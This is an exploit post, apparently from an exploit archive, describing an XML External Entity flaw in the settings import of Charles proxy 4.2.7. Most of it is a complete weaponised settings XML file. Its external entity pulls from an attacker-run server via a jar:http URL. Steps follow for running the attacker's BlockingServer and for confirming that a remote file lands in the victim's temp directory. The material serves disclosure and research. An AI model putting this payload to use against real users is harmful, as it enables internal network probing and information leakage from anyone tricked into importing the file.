Charles 4.2.7 XML External Entity
Software Link:https://www.charlesproxy.com
Date:11.12.2018
Exploit Author:CK01
Version:<=4.2.7
Date:11.12.2018
Exploit Author:CK01
Version:<=4.2.7
Security Issue:
The XML External Entity vulnerability exists in the Charles import/export setup option. If the user imports the "Charles Settings.xml" of the attacker, the internal network may be detected and the information may be leaked.
POC:
1.Charles Setting.xml:(127.0.0.1 -> attacker's server )
<?xml version='1.0' encoding='UTF-8' ?> <?charles serialisation-version='2.0' ?> <!DOCTYPE data [ <!ENTITY file SYSTEM "jar:http://127.0.0.1:2014/!/">]> <charles-export> <proxyConfiguration> <enableSOCKSProxy>false</enableSOCKSProxy> <dynamicHTTPPort>false</dynamicHTTPPort> <dynamicSOCKSPort>false</dynamicSOCKSPort> <enableSOCKSTransparentHTTPProxying>true</enableSOCKSTransparentHTTPProxying> <port>8888</port> <SOCKSPort>8889</SOCKSPort> <decryptSSL>true</decryptSSL> <transparentProxy>false</transparentProxy> <preferIPv6addresses>false</preferIPv6addresses> <sslLocations> <locationPatterns> <locationMatch> <location> <host>*</host> <port>443</port> </location> <enabled>true</enabled> </locationMatch> </locationPatterns> </sslLocations> <defaultSOCKSTransparentHTTPProxyPorts>true</defaultSOCKSTransparentHTTPProxyPorts> <socksTransparentHTTPProxyPorts/> <socksTransparentHTTPProxyPortRanges/> <windowsConfiguration> <useHTTP>true</useHTTP> <useSOCKS>false</useSOCKS> <enableAtStartup>true</enableAtStartup> </windowsConfiguration> <macOSXConfiguration> <useHTTP>true</useHTTP> <useSOCKS>false</useSOCKS> <enableAtStartup>false</enableAtStartup> </macOSXConfiguration> <mozillaFirefoxConfiguration> <useHTTP>true</useHTTP> <useSOCKS>false</useSOCKS> <enableAtStartup>true</enableAtStartup> </mozillaFirefoxConfiguration> </proxyConfiguration> <recordingConfiguration> <limit>100</limit> <maxTransactions>0</maxTransactions> <maxWebSocketMessages>-1</maxWebSocketMessages> <ignoreHosts> <locationPatterns/> </ignoreHosts> <recordHosts> <locationPatterns/> </recordHosts> </recordingConfiguration> <accessControlConfiguration> <warn>true</warn> <ipRanges> <ipRange> <ip> <int>192</int> <int>168</int> <int>2</int> <int>43</int> </ip> <mask> <int>255</int> <int>255</int> <int>255</int> <int>255</int> </mask> </ipRange> </ipRanges> </accessControlConfiguration> <externalProxyConfiguration> <configurations> <entry> <string>socks</string> <mutableExternalProxyConfiguration> <active>false</active> <requiresAuthentication>false</requiresAuthentication> <port>0</port> </mutableExternalProxyConfiguration> </entry> <entry> <string>http</string> <mutableExternalProxyConfiguration> <active>true</active> <requiresAuthentication>false</requiresAuthentication> <host>127.0.0.1</host> <port>1087</port> <domain></domain> <username></username> <encryptedPassword>2aQ4yHV+W99fhLcoM+aSlQ==</encryptedPassword> </mutableExternalProxyConfiguration> </entry> <entry> <string>https</string> <mutableExternalProxyConfiguration> <active>true</active> <requiresAuthentication>false</requiresAuthentication> <host>127.0.0.1</host> <port>1087</port> <domain></domain> <username></username> <encryptedPassword>X7aDnIieHyR9nVYpOPBpBw==</encryptedPassword> </mutableExternalProxyConfiguration> </entry> </configurations> <enabled>true</enabled> <alwaysBypassLocalhost>true</alwaysBypassLocalhost> </externalProxyConfiguration> <throttlingConfiguration> <bandwidthDown>57.6</bandwidthDown> <bandwidthUp>33.6</bandwidthUp> <utilisationDown>70</utilisationDown> <utilisationUp>70</utilisationUp> <latency>250</latency> <reliability>100</reliability> <mtu>576</mtu> <lowQuality>100</lowQuality> <highQuality>100</highQuality> <stability>100</stability> <customPresets/> <hosts class="listAdapter"> <list/> </hosts> <selectedHosts>false</selectedHosts> </throttlingConfiguration> <startupConfiguration> <newSession>true</newSession> <throttling>false</throttling> <checkUpdates>true</checkUpdates> <maximised>false</maximised> <fullscreen>false</fullscreen> <mainWindow> <x>171</x> <y>64</y> <width>1231</width> <height>770</height> </mainWindow> <currentDirectory>&file;</currentDirectory> <lastCheckUpdates>2018-11-12 07:40:37.437 UTC</lastCheckUpdates> </startupConfiguration> <userInterfaceConfiguration> <promptToSaveSessions>false</promptToSaveSessions> <promptToClearSession>false</promptToClearSession> <showLineNumbers>true</showLineNumbers> <lineWrap>true</lineWrap> <autoScroll>true</autoScroll> <combineHeadersAndBody>true</combineHeadersAndBody> <combineRequestAndResponse>true</combineRequestAndResponse> <minimiseToTray>false</minimiseToTray> <showMemoryUsage>false</showMemoryUsage> <enableHotkeys>true</enableHotkeys> <alwaysOnTop>false</alwaysOnTop> <showTrayIcon>true</showTrayIcon> <highlightTreeChanges>true</highlightTreeChanges> <sequenceFocused>false</sequenceFocused> <sessionNavStructureLayout>0</sessionNavStructureLayout> <sessionNavSequenceLayout>1</sessionNavSequenceLayout> <unitsSpeed>0</unitsSpeed> <unitsTime>0</unitsTime> <warningsSeen/> <properties> <entry> <string>SessionFrame.splitPlane.dividerLocation.horizontal</string> <int>300</int> </entry> <entry> <string>RequestResponsePanel.DIVIDER_LOCATON</string> <int>289</int> </entry> <entry> <string>SummaryPanel.TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>ChartPanel.SIZE_TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>ChartPanel.TIMELINE_TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>ChartPanel.DURATION_TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>SessionFrame.splitPlane.dividerLocation.vertical</string> <int>200</int> </entry> <entry> <string>SessionFrame.navTabs.mode</string> <string>Structure</string> </entry> <entry> <string>URLEncodedQueryViewer.TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>NavigatorJTable.TABLE_COLUMN_STATES</string> <columnStates/> </entry> <entry> <string>ChartPanel.TYPE_TABLE_COLUMN_STATES</string> <columnStates/> </entry> </properties> </userInterfaceConfiguration> <toolConfiguration> <configs> <entry> <string>Breakpoints</string> <breakpoints> <toolEnabled>false</toolEnabled> <breakpoints/> </breakpoints> </entry> <entry> <string>Reverse Proxies</string> <reverseProxies> <active>false</active> <reverseProxies/> </reverseProxies> </entry> <entry> <string>White List</string> <whitelist> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> <action>0</action> </whitelist> </entry> <entry> <string>Map Remote</string> <map> <toolEnabled>false</toolEnabled> <mappings/> </map> </entry> <entry> <string>Port Forwarding</string> <portForwarding> <active>false</active> <portForwardings/> </portForwarding> </entry> <entry> <string>Viewer Mappings</string> <viewerMappings> <toolEnabled>false</toolEnabled> <mappings/> </viewerMappings> </entry> <entry> <string>Rewrite</string> <rewrite> <toolEnabled>false</toolEnabled> <debugging>false</debugging> <sets/> </rewrite> </entry> <entry> <string>Map Local</string> <mapLocal> <toolEnabled>false</toolEnabled> <mappings/> </mapLocal> </entry> <entry> <string>Black List</string> <blacklist> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> <action>0</action> </blacklist> </entry> <entry> <string>Client Process</string> <selectedHostsTool> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> </selectedHostsTool> </entry> <entry> <string>No Caching</string> <selectedHostsTool> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> </selectedHostsTool> </entry> <entry> <string>DNS Spoofing</string> <dnsSpoofing> <toolEnabled>false</toolEnabled> <spoofs/> </dnsSpoofing> </entry> <entry> <string>Mirror</string> <mirror> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> </mirror> </entry> <entry> <string>Auto Save</string> <autoSave> <toolEnabled>false</toolEnabled> <enableOnStartup>false</enableOnStartup> <saveLowMem>false</saveLowMem> <startOnMultiple>false</startOnMultiple> <savePeriod>0</savePeriod> </autoSave> </entry> <entry> <string>Block Cookies</string> <selectedHostsTool> <locations> <locationPatterns/> </locations> <toolEnabled>false</toolEnabled> <useSelectedLocations>false</useSelectedLocations> </selectedHostsTool> </entry> </configs> </toolConfiguration> <remoteControlConfiguration> <enabled>false</enabled> <allowAnonymous>false</allowAnonymous> <users/> </remoteControlConfiguration> <clientSSLCertificatesConfiguration> <certificates/> </clientSSLCertificatesConfiguration> <protobufConfiguration> <hideUnvaluedFields>true</hideUnvaluedFields> <cacheDescriptors>true</cacheDescriptors> <heuristicTTL>300000</heuristicTTL> <descriptors/> </protobufConfiguration> <gistConfiguration> <publishLimit>10</publishLimit> <secret>true</secret> <openGist>true</openGist> <enterpriseGitHub>false</enterpriseGitHub> </gistConfiguration> <focusConfiguration> <hosts> <locationPatterns/> </hosts> </focusConfiguration> </charles-export>
2.The attacker executes on the server: java BlockingServer 2014 xxe.txt
3.xxe.txt on the attacker's server
This file comes from the attacker server!
4.The victim temporary directory will generate the jar_cachexxxxxxxxxxxxx.tmp file with the content: "This file comes from the attacker server!"
reference:
http://www.pwntester.com/blog/2013/11/28/abusing-jar-downloads/
https://github.com/pwntester/BlockingServer
https://www.youtube.com/watch?v=eHSNT8vWLfc&feature=youtu.be
评论
发表评论